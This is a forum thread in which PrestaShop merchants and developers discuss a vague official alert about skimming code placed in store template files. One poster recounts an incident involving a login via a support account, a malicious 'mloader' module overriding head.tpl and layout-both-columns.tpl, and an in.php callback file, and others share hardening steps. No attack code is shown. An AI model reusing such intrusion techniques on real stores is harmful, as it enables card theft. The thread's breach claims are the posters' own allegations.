Recent Prestashop securtity alert

[JBW]

Today myself and some customers recevied an email with Prestashop security alert.

https://help-center.prestashop.com/hc/en-us/articles/33259937046034-Security-Alert-Recommended-Check-of-Your-Stores?utm_campaign=26061922-Security&utm_medium=email&_hsmi=403312940&utm_content=403312940&utm_source=hs_email

It contains no background information regarding the vulnerability. I my opinion it's not enough to check the mentioned file. As soon a attacker can change this template file, they would have full access to the store/database and can read and manipulate the shop in any way they want. 

So wondering if anybody has more information regarding this alert and why it was send now (as similar skimming attacks are around for years already using several known vulnerabilities in the past)

[Prestashop Addict]

As the hacker change a template file, the origin is a security hole in module, or ftp/sftp/ssh credentials stolen, not Prestashop core.

[JBW]

1 minute ago, Prestashop Addict said:

As the hacker change a template file, the origin is a security hole in module, or ftp/sftp/ssh credentials stolen, not Prestashop core

Might be anywhere, we have seen holes in core before. But without further insights this security alert is useless as nobody would be able to fix the root cause.

[Bill Dalton]

Not to mention that if you are infected, you MUST report the breach to your payment/credit card provider and also let them know what you are doing to correct it. And until we know more about that, what do we do? I did not have any bad code. But this scenario is not good for PrestaShop.

[fmoreira86]

Raising this alert is not bad at all, but it is incomplete. First, if there is no clue about the origin of the vulnerability, only a forensic analysis of an infected environment could help conclude what led to the compromise. If PrestaShop has a network of partners, it is time for them to actually work together and share information properly. A situation like this is not a joke. It is not simply a matter of changing the malicious lines of code and moving on. Real information should be provided to users. What is being done? When will the next update about this issue be released? Etc.

[Mediacom87]

This alert is being issued because the vulnerability has obviously been identified and corrected long ago.

However, there is a mass of attacks using old vulnerabilities that have not been patched by some, so yes, stores can be affected because they have not taken the necessary steps in a timely manner to prevent this kind of thing.

There is no exact science that can explain how hackers get in and do this, because there are hundreds of vulnerabilities in the PrestaShop universe and many more in its ecosystem than in its core, which is well protected if you make the effort to update your script branch.

In any case, the community is there to support users, as shown here:

 https://security.friendsofpresta.org/

[fmoreira86]

15 minutes ago, Mediacom87 said:

This alert is being issued because the vulnerability has obviously been identified and corrected long ago.

However, there is a mass of attacks using old vulnerabilities that have not been patched by some, so yes, stores can be affected because they have not taken the necessary steps in a timely manner to prevent this kind of thing.

There is no exact science that can explain how hackers get in and do this, because there are hundreds of vulnerabilities in the PrestaShop universe and many more in its ecosystem than in its core, which is well protected if you make the effort to update your script branch.

In any case, the community is there to support users, as shown here:

 https://security.friendsofpresta.org/

In my opinion, Prestashop, sending this kind of alert without any additional context doesn’t make much sense. Information like the investigation status, when the next update will be released and the known attack vectors is essential for users to act effectively.

An alert without these details can cause confusion and doesn’t allow users to address the root cause, especially when the origin could be a module, stolen credentials, or another part of the ecosystem.

[Tomi14]

For me, this notification is very vague and lacking detail. What is the attack vector? I have changed the passwords for the back office, FTP, hosting, and the database — but what exactly should I be concerned about? What should I avoid? Which versions are considered secure, and through which modules are the attacks being carried out?

[AGuyTryingToCode]

Has anyone else noticed that the page at https://help-center.prestashop.com/hc/en-us/articles/33259937046034-Security-Alert-Recommended-Check-of-Your-Stores keeps showing new updated times but I can't see anything different on the page

Edited 23 hours ago by AGuyTryingToCode (see edit history)

[Mediacom87]

Il y a 3 heures, fmoreira86 a dit :

In my opinion, Prestashop, sending this kind of alert without any additional context doesn’t make much sense. Information like the investigation status, when the next update will be released and the known attack vectors is essential for users to act effectively.

An alert without these details can cause confusion and doesn’t allow users to address the root cause, especially when the origin could be a module, stolen credentials, or another part of the ecosystem.

I completely agree with what you're saying.

[venditdevs]

Clarification on the Security Incident

We experienced this exact situation on a webshop we maintain. We have performed a thorough analysis and documented the entire case.

Attack Vector and Execution
he attacker performed a single, targeted login attempt on the back office, resulting in:

1: A direct, successful hit on the admin URL (which is unique and obfuscated).
2: An immediate successful login via an Addons support account.

Once access was gained, the attacker installed a malicious module named "mloader". This module created two overrides in head.tpl and layout-both-columns.tpl, using the exact code described in the recent security mailing from Prestashop. Additionally, communication with the attacker's server was handled via an in.php file placed in the public_html directory.

Investigation into the Source
We investigated how these specific credentials could have been compromised. Our audit confirmed that the only place these credentials were ever shared was within the Addons Marketplace, specifically for support on a module developed by Prestashop itself.

Searching for a potential "Prestashop data breach" reveals reports claiming that over 21 million customer records were leaked from the Prestashop Marketplace:

https://www.brinztech.com/breach-alerts/brinztech-alert-post-claims-exposure-of-21-3m-prestashop-customer-records/ 

https://socradar.io/prestashop-data-panorabanques-new-fraud-services/ 

Communication with Prestashop
We officially opened a case with the Prestashop security team in November 2025, providing all our findings. At that time, they stated they were investigating the potential breach but provided no confirmation. Despite us providing additional information about what happend, we never received a final response or follow-up.

Conclusion
Since other webshops are now being affected and Prestashop continues to claim the origin of the vulnerability is unknown, I feel obliged to make these findings public. The evidence strongly suggests that a data breach occurred and that credentials shared through the official Marketplace were leaked.

Edited 13 hours ago by venditdevs
Proper English corrections (see edit history)

[AGuyTryingToCode]

@venditdevs Thank you for sharing. I do wish Prestashop would look at their support. Every communication I have ever had with them has been awful (I stopped recommending PS to my clients simply because the support was poor). 

I guess for now all we can really do is the usual security practices e.g. restrict admin url to specific IPs, add 2FA etc and wait for prestashop to update us all.

[Mediacom87]

il y a 3 minutes, AGuyTryingToCode a dit :

@venditdevs Thank you for sharing. I do wish Prestashop would look at their support. Every communication I have ever had with them has been awful (I stopped recommending PS to my clients simply because the support was poor). 

I guess for now all we can really do is the usual security practices e.g. restrict admin url to specific IPs, add 2FA etc and wait for prestashop to update us all.

I understand better why, every time I provide support for my modules on the platform, users are surprised by my responsiveness and the care I take in addressing their issues.

[AGuyTryingToCode]

@Mediacom87 as a module developer, I wonder if you could shed any light on what access you personally would have when supporting one of your clients with your modules via the prestashop system?

e.g. when a customer opens a support ticket, prestashop requests FTP, login details etc. I never fill these in (I can't due to GDPR laws and would always prefer to make changes myself anyway for security reasons). However, other than what the user fills in on the open a ticket form (see attached), does the developer have access to any other customer details? e.g. can you see the store URL or anything else (assuming the user did not fill in that part of the form)?

 

Edited 13 hours ago by AGuyTryingToCode (see edit history)

[venditdevs]

3 minutes ago, AGuyTryingToCode said:

@Mediacom87 as a module developer, I wonder if you could shed any light on what access you personally would have when supporting one of your clients with your modules via the prestashop system?

e.g. when a customer opens a support ticket, prestashop requests FTP, login details etc. I never fill these in (I can't due to GDPR laws and would always prefer to make changes myself anyway for security reasons). However, other than what the user fills in on the open a ticket form (see attached), does the developer have access to any other customer details? e.g. can you see the store URL or anything else (assuming the user did not fill in that part of the form)?

 

If those credentials are provided (only FTP) then yes... The modulemaker can access the parameters file which include the database credentials and with that they can log in to the database. But that's logically only possible with an FTP account with access in the public_html or above folder (of specific deeper in a folder which contains the parameters file). So, customerdata can be visible, and so is the shop URL.

[AGuyTryingToCode]

@venditdevs Thanks for your reply. so If I am understanding you correctly, your analysis of the 'hack' that you saw was someone using the "Back-office URL", "Back-office login" and "Back-office password" you provided in the form above when submitting a support request for a module that was made by prestashop (not a 3rd party)?

 

p.s. for anyone who is reading this post and is not sure what to do, I would suggest the following as a quick check guide (its not a full guide by any means but should help):
1) Check the files head.tpl and layout-both-columns.tpl (if you know how check your server for any files that have changed recently, if not, ask your host to SSH into the hosting and do this for you)
2) Check your login users and remove any you don't need.
3) Change login details in PS admin
4) Change login URL for PS admin
5) In your admin .htaccess file, add at the top a deny from all but allow your IP:
e.g.

order deny,allow
deny from all
allow from 127.0.0.1

(if you have a dynamic IP, you will need to keep changing the 127.0.0.1 to your IP

6) Chanege your mysql databse login details and update your app/config.parameters.php file to match the new details.
7) Change your FTP login details if you provided these.
8) Do a full security audit.

 

Edited 12 hours ago by AGuyTryingToCode (see edit history)

[Mediacom87]

il y a 21 minutes, AGuyTryingToCode a dit :

@Mediacom87 as a module developer, I wonder if you could shed any light on what access you personally would have when supporting one of your clients with your modules via the prestashop system?

e.g. when a customer opens a support ticket, prestashop requests FTP, login details etc. I never fill these in (I can't due to GDPR laws and would always prefer to make changes myself anyway for security reasons). However, other than what the user fills in on the open a ticket form (see attached), does the developer have access to any other customer details? e.g. can you see the store URL or anything else (assuming the user did not fill in that part of the form)?

 

Here is the basic stuff we have to make the support:

The name of the module, if there is a valid support license, the order number and date of purchase, the module version, the website URL, and support tracking.

Sometimes we also have the version of PrestaShop used, but not always.

This is very limited when it comes to fixing issues.

When a user reports a problem to me, I first run a test on my end using the corresponding version of PrestaShop, and if I can reproduce the bug, I fix it right away.

However, it often happens that the problem cannot be reproduced, and that's when I need to access the customer's site directly to analyze the problematic elements. Often, it turns out to be another module. I often do this in less than 24 hours, because we all know how important our users' stores are.

I no longer ask for FTP access; I manage with my own tools.

So I only ask for back-office access and always advise the customer to create a specific account for me, which will be deleted after my intervention.

Otherwise, I recommend using this type of module: Op'art Secure Admin Link: Temporary Back Office Access

[AGuyTryingToCode]

@Mediacom87 Thank you for sharing, much appreciated.

So we can see a new update on the post https://help-center.prestashop.com/hc/en-us/articles/33259937046034-Security-Alert-Recommended-Check-of-Your-Stores

"Change the passwords for your various accesses (back office, database, FTP, SSH, and don’t forget to update the database access in the PrestaShop config file)."

@venditdevs the fact it mentions SSH and FTP would backup what you said since generally these wouldn't be stored (as far as I am aware) in a prestashop store (unless a specific module requested them).

I do wish presatshop would just release more information on what's happening. Even just a "we think XYZ may have happened and you should do ABC for now". Even if they then go "oh we think it may just be DEF instead", at least we could take extra precautions etc

[maurizio]

Sorry for my imperfect English.
Prestashop should also indicate which versions have this problem.
I also expect Prestashop to implement corrective measures.
Thanks

[Doopiempd]

17 minutes ago, maurizio said:

Sorry for my imperfect English.
Prestashop should also indicate which versions have this problem.
I also expect Prestashop to implement corrective measures.
Thanks

Version doesn't matter. All Prestashop versions are affected because it isn't an exploit in your Prestashop store.

[fmoreira86]

If it turns out that this wave of compromised stores was caused by leaked credentials from the PrestaShop Marketplace, then the lack of clear communication is deeply concerning.

Not stating this explicitly only creates confusion and speculation within the community. When security incidents happen, transparency is essential, otherwise, uncertainty is simply pushed onto merchants and partners.